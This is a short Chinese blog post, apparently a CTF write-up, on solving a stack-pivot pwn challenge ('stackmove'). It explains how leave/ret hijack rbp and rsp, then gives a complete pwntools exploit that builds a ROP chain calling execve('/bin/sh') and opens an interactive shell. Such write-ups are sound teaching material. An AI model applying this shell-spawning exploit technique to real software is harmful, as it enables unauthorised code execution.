Stackmove

Posted by l0tus on 2022-12-15
Estimated Reading Time 1 Minutes
Words 455 In Total
Viewed Times

开篇碎碎念

近期的进度应该已经进入堆题的学习阶段了,但是我还没有完整做过一道栈迁移的题。倍感惭愧,正好前几天赛博的比赛nameless✌出了一道栈迁移,可惜当时时间很紧。我的想法是现学堆题的知识,然后把ez_heap整出来,但是我太菜了就把大把的时间花费在了理解堆管理器上,到结束也没做出来。也就没心思看这道栈迁移了,不过回头看来,这道题应该是当时可以拿下的。

题目

test
题目给了execve的地址,可以直接拿来利用。在main函数里有一次read用来布置目标栈
vul函数里有一次read用来劫持rbp、rsp
test
利用ROPgadget可以找到pop rsi r15pop rdi,用来布置栈
利用栈迁移时需要用到两条关键的汇编指令:
leave 相当于 mov esp,ebp;pop ebp
ret 相当于 pop eip
我们需要做的就是劫持rbp,将其覆盖为我们想要迁移的位置,再使用leave这条指令,将rbp传入rsp,从而使劫持程序,让其返回到我们布置好的栈上。
test
这是布置好的bss段和buf
test
test
调试的时候可以看到一些关键的覆盖

exp

直接从nameless✌那里抄来的exp,懒狗懒得自己写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
#io=remote('124.222.96.143',10000)
io=process("./stackmove")
elf=ELF('./stackmove')#io=process('./b')
gdb.attach(io)
pop_rsi_r15_ret=0x400851
pop_rdi_ret=0x400853
lea_ret=0x400708
stack_addr=0x600ca0
#io.recvuntil('global_buf:')
#stack_addr=int(io.recv(8),16)
io.recvuntil('execv:')
execv_addr=int(io.recv(14),16)
payload1=p64(pop_rdi_ret)+p64(stack_addr)+p64(pop_rsi_r15_ret)+p64(0)*2+p64(execv_addr)

io.recvuntil('global:')
io.send(b'/bin/sh\x00'+payload1)
io.recvuntil('input:')
payload2=b'A'*80+p64(stack_addr)+p64(lea_ret)
io.send(payload2)
io.interactive( )


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !